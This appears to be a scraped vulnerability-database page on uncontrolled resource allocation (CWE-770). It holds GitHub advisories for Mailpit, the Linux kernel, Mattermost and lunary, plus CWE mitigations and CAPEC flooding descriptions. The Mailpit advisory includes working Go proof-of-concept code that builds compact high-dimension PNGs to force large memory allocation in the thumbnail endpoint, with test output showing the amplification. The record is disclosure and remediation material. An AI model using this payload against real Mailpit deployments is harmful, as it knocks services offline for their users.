Other published Mailpit advisories checked were GHSA-w4vj-r5pg-3722 for proxy CSS map concurrency, GHSA-qx5x-85p8-vg4j for dump path traversal, GHSA-54wq-72mp-cq7c for SMTP header injection, GHSA-524m-q5m7-79mm for CSWSH, and the SSRF/proxy/link-check/html-check family GHSA-8v65-47jx-7mfr, GHSA-mpf7-p9x7-96r3, GHSA-6jxm-fv7w-rw5j, GHSA-j3fj-qppj-fmmc, and GHSA-w4mc-hhc6-xp28. None describe decoded thumbnail image dimensions or pixel-budget enforcement.
Public issue searches in axllent/mailpit for thumbnail/image memory, imaging Decode thumbnail, and image attachment thumbnail DoS terms found no matching issue. A commit search found b9f36312d750bdc59497a08fd9f4039925afd54e, "Fix: Avoid error on image type assertion in thumbnail generation"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67446"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T23:39:08Z",
"nvd_published_at": "2026-08-20T21:17:07Z",
"severity": "HIGH"
},
"details": "## Summary\n\nMailpit\u0027s thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.\n\n## Technical Details\n\nThe route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`:\n\n```go\na, err := storage.GetAttachmentPart(id, partID)\n// ...\nif !strings.HasPrefix(a.ContentType, \"image/\") {\n blankImage(a, w)\n return\n}\n\nbuf := bytes.NewBuffer(a.Content)\nimg, err := imaging.Decode(buf, imaging.AutoOrientation(true))\n```\n\n`storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded.\n\nThe thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.\n\nThe UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `\u003cimg src\u003e` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.\n\n## PoV\n\nThe following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`.\n\nThe oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.\n\n```go\npackage apiv1\n\nimport (\n \"bytes\"\n \"compress/zlib\"\n \"encoding/base64\"\n \"encoding/binary\"\n \"fmt\"\n \"hash/crc32\"\n \"net/http\"\n \"net/http/httptest\"\n \"path/filepath\"\n \"strings\"\n \"testing\"\n\n \"github.com/axllent/mailpit/config\"\n \"github.com/axllent/mailpit/internal/logger\"\n \"github.com/axllent/mailpit/internal/storage\"\n \"github.com/kovidgoyal/imaging\"\n)\n\nfunc pngChunk(kind string, data []byte) []byte {\n var out bytes.Buffer\n _ = binary.Write(\u0026out, binary.BigEndian, uint32(len(data)))\n out.WriteString(kind)\n out.Write(data)\n crc := crc32.NewIEEE()\n crc.Write([]byte(kind))\n crc.Write(data)\n _ = binary.Write(\u0026out, binary.BigEndian, crc.Sum32())\n return out.Bytes()\n}\n\nfunc solidRGBApng(width, height int) []byte {\n var out bytes.Buffer\n out.Write([]byte{0x89, \u0027P\u0027, \u0027N\u0027, \u0027G\u0027, \u0027\\r\u0027, \u0027\\n\u0027, 0x1a, \u0027\\n\u0027})\n ihdr := make([]byte, 13)\n binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))\n binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))\n ihdr[8] = 8\n ihdr[9] = 6\n out.Write(pngChunk(\"IHDR\", ihdr))\n var compressed bytes.Buffer\n zw := zlib.NewWriter(\u0026compressed)\n row := make([]byte, 1+width*4)\n for i := 0; i \u003c height; i++ {\n _, _ = zw.Write(row)\n }\n _ = zw.Close()\n out.Write(pngChunk(\"IDAT\", compressed.Bytes()))\n out.Write(pngChunk(\"IEND\", nil))\n return out.Bytes()\n}\n\nfunc TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {\n for _, tc := range []struct {\n name string\n width int\n height int\n }{\n {name: \"negative-control\", width: 16, height: 16},\n {name: \"oversized-attachment\", width: 4096, height: 4096},\n } {\n t.Run(tc.name, func(t *testing.T) {\n payload := solidRGBApng(tc.width, tc.height)\n img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))\n if err != nil {\n t.Fatalf(\"decode failed: %v\", err)\n }\n thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)\n if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {\n t.Fatalf(\"unexpected thumbnail bounds: %v\", thumb.Bounds())\n }\n decodedRGBA := tc.width * tc.height * 4\n t.Logf(\"%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))\n })\n }\n}\n\nfunc TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {\n logger.NoLogging = true\n config.Database = filepath.Join(t.TempDir(), \"mailpit.db\")\n config.Compression = 0\n config.TenantID = \"\"\n config.MaxMessages = 0\n if err := storage.InitDB(); err != nil {\n t.Fatalf(\"InitDB failed: %v\", err)\n }\n defer storage.Close()\n\n for _, tc := range []struct {\n name string\n width int\n height int\n }{\n {name: \"negative-control\", width: 16, height: 16},\n {name: \"oversized-attachment\", width: 4096, height: 4096},\n } {\n t.Run(tc.name, func(t *testing.T) {\n payload := solidRGBApng(tc.width, tc.height)\n raw := []byte(fmt.Sprintf(\"From: sender@example.test\\r\\nTo: victim@example.test\\r\\nSubject: %s\\r\\nMIME-Version: 1.0\\r\\nContent-Type: multipart/mixed; boundary=\\\"pov-boundary\\\"\\r\\n\\r\\n--pov-boundary\\r\\nContent-Type: text/plain\\r\\n\\r\\nbody\\r\\n--pov-boundary\\r\\nContent-Type: image/png; name=\\\"pov.png\\\"\\r\\nContent-Disposition: attachment; filename=\\\"pov.png\\\"\\r\\nContent-Transfer-Encoding: base64\\r\\n\\r\\n%s\\r\\n--pov-boundary--\\r\\n\", tc.name, wrapBase64(payload)))\n id, err := storage.Store(\u0026raw, nil)\n if err != nil {\n t.Fatalf(\"Store failed: %v\", err)\n }\n msg, err := storage.GetMessage(id)\n if err != nil {\n t.Fatalf(\"GetMessage failed: %v\", err)\n }\n if len(msg.Attachments) != 1 {\n t.Fatalf(\"attachments=%d, want 1\", len(msg.Attachments))\n }\n req := httptest.NewRequest(http.MethodGet, \"/api/v1/message/\"+id+\"/part/\"+msg.Attachments[0].PartID+\"/thumb\", nil)\n req.SetPathValue(\"id\", id)\n req.SetPathValue(\"partID\", msg.Attachments[0].PartID)\n rr := httptest.NewRecorder()\n Thumbnail(rr, req)\n if rr.Code != http.StatusOK {\n t.Fatalf(\"Thumbnail status=%d body=%q\", rr.Code, rr.Body.String())\n }\n if ct := rr.Header().Get(\"Content-Type\"); ct != \"image/jpeg\" {\n t.Fatalf(\"Content-Type=%q, want image/jpeg\", ct)\n }\n decodedRGBA := tc.width * tc.height * 4\n t.Logf(\"%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())\n })\n }\n}\n\nfunc wrapBase64(b []byte) string {\n encoded := base64.StdEncoding.EncodeToString(b)\n var lines []string\n for len(encoded) \u003e 76 {\n lines = append(lines, encoded[:76])\n encoded = encoded[76:]\n }\n if encoded != \"\" {\n lines = append(lines, encoded)\n }\n return strings.Join(lines, \"\\r\\n\")\n}\n```\n\n## PoC\n\nFrom a Mailpit checkout, save the test above as `server/apiv1/thumbnail_dimension_pov_test.go` and run:\n\n```fish\ndocker run --rm -v \"$PWD:/src\" -w /src golang:1.25 go test ./server/apiv1 -run \u0027TestThumbnail.*DimensionAmplificationPoV\u0027 -v\n```\n\nOn current `develop` commit `cd7661fd5b23cce1e218b583b21e157cfa612051`, the relevant output is:\n\n```text\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s)\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s)\nPASS\nok \tgithub.com/axllent/mailpit/server/apiv1\t0.781s\n```\n\nThe same test against `v1.30.3` commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13` prints the same amplification:\n\n```text\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s)\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s)\nPASS\nok \tgithub.com/axllent/mailpit/server/apiv1\t0.805s\n```\n\nThe `negative-control` case shows ordinary thumbnail generation still works. The `oversized-attachment` handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.\n\n## Impact\n\nAn unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.\n\nThe safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.\n\n## Suggested Fix\n\nReject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling `imaging.Decode()` or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.\n\nApply the cap to all supported image formats and to both inline and regular attachments returned by `GetAttachmentPart()`. Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed `image/*` attachment.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- Current `develop`: `cd7661fd5b23cce1e218b583b21e157cfa612051`\n- Latest release: `v1.30.3`, tag commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, published 2026-06-27\n\n## Advisory History\n\nThe closest published Mailpit advisories are the resource-consumption reports `GHSA-fpxj-m5q8-fphw` and `GHSA-28pq-6qxg-wg5r`. `GHSA-fpxj-m5q8-fphw` covers unlimited SMTP DATA and `/api/v1/send` body sizes, while `GHSA-28pq-6qxg-wg5r` covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.\n\nOther published Mailpit advisories checked were `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-524m-q5m7-79mm` for CSWSH, and the SSRF/proxy/link-check/html-check family `GHSA-8v65-47jx-7mfr`, `GHSA-mpf7-p9x7-96r3`, `GHSA-6jxm-fv7w-rw5j`, `GHSA-j3fj-qppj-fmmc`, and `GHSA-w4mc-hhc6-xp28`. None describe decoded thumbnail image dimensions or pixel-budget enforcement.\n\nPublic issue searches in `axllent/mailpit` for thumbnail/image memory, `imaging Decode thumbnail`, and image attachment thumbnail DoS terms found no matching issue. A commit search found `b9f36312d750bdc59497a08fd9f4039925afd54e`, \"Fix: Avoid error on image type assertion in thumbnail generation\"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.",
"id": "GHSA-75mr-qw9x-3r39",
"modified": "2026-09-02T23:39:08Z",
"published": "2026-09-02T23:39:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-75mr-qw9x-3r39"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67446"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/6bcb6337838b542d53c348e38c7977f569b6db35"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.30.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling"
}
GHSA-762Q-JQWQ-G847
Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2025-11-04 00:31In the Linux kernel, the following vulnerability has been resolved:
mm: huge_memory: use !CONFIG_64BIT to relax huge page alignment on 32 bit machines
Yves-Alexis Perez reported commit 4ef9ad19e176 ("mm: huge_memory: don't force huge page alignment on 32 bit") didn't work for x86_32 [1]. It is because x86_32 uses CONFIG_X86_32 instead of CONFIG_32BIT.
!CONFIG_64BIT should cover all 32 bit machines.
[1] https://lore.kernel.org/linux-mm/CAHbLzkr1LwH3pcTgM+aGQ31ip2bKqiqEQ8=FQB+t2c3dhNKNHA@mail.gmail.com/
{
"affected": [],
"aliases": [
"CVE-2024-42258"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T15:15:20Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: huge_memory: use !CONFIG_64BIT to relax huge page alignment on 32 bit machines\n\nYves-Alexis Perez reported commit 4ef9ad19e176 (\"mm: huge_memory: don\u0027t\nforce huge page alignment on 32 bit\") didn\u0027t work for x86_32 [1]. It is\nbecause x86_32 uses CONFIG_X86_32 instead of CONFIG_32BIT.\n\n!CONFIG_64BIT should cover all 32 bit machines.\n\n[1] https://lore.kernel.org/linux-mm/CAHbLzkr1LwH3pcTgM+aGQ31ip2bKqiqEQ8=FQB+t2c3dhNKNHA@mail.gmail.com/",
"id": "GHSA-762q-jqwq-g847",
"modified": "2025-11-04T00:31:11Z",
"published": "2024-08-12T15:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42258"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7e1f4efb8d6140b2ec79bf760c43e1fc186e8dfc"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/89f2914dd4b47d2fad3deef0d700f9526d98d11f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a5c399fe433a115e9d3693169b5f357f3194af0a"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d9592025000b3cf26c742f3505da7b83aedc26d5"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-762V-RQ7Q-FF97
Vulnerability from github – Published: 2024-10-29 09:30 – Updated: 2024-11-04 21:25Mattermost versions 9.10.x <= 9.10.2, 9.11.x <= 9.11.1 and 9.5.x <= 9.5.9 fail to prevent detailed error messages from being displayed in Playbooks which allows an attacker to generate a large response and cause an amplified GraphQL response which in turn could cause the application to crash by sending a specially crafted request to Playbooks.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0-20240926115259-20ed58906adc"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47401"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-29T16:13:16Z",
"nvd_published_at": "2024-10-29T09:15:07Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 9.10.x \u003c= 9.10.2, 9.11.x \u003c= 9.11.1 and 9.5.x \u003c= 9.5.9 fail to\u00a0prevent detailed error messages from being displayed\u00a0in Playbooks which allows an attacker to generate a large response and cause an amplified GraphQL response which in turn could cause the application to crash by sending a specially crafted request to Playbooks.",
"id": "GHSA-762v-rq7q-ff97",
"modified": "2024-11-04T21:25:24Z",
"published": "2024-10-29T09:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47401"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-762v-rq7q-ff97"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Mattermost Server vulnerable to application crash from attacker-generated large response"
}
GHSA-764Q-GPMW-JCCJ
Vulnerability from github – Published: 2024-04-16 00:30 – Updated: 2024-04-16 00:30In lunary-ai/lunary version 1.0.0, an authorization flaw exists that allows unauthorized radar creation. The vulnerability stems from the lack of server-side checks to verify if a user is on a free account during the radar creation process, which is only enforced in the web UI. As a result, attackers can bypass the intended account upgrade requirement by directly sending crafted requests to the server, enabling the creation of an unlimited number of radars without payment.
{
"affected": [],
"aliases": [
"CVE-2024-1666"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-16T00:15:10Z",
"severity": "HIGH"
},
"details": "In lunary-ai/lunary version 1.0.0, an authorization flaw exists that allows unauthorized radar creation. The vulnerability stems from the lack of server-side checks to verify if a user is on a free account during the radar creation process, which is only enforced in the web UI. As a result, attackers can bypass the intended account upgrade requirement by directly sending crafted requests to the server, enabling the creation of an unlimited number of radars without payment.",
"id": "GHSA-764q-gpmw-jccj",
"modified": "2024-04-16T00:30:33Z",
"published": "2024-04-16T00:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1666"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/c57cd50fa0477fd2a2efe60810c0099eebd66f54"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/0f310501-b5b0-4be0-ae38-d6b836f71ff0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
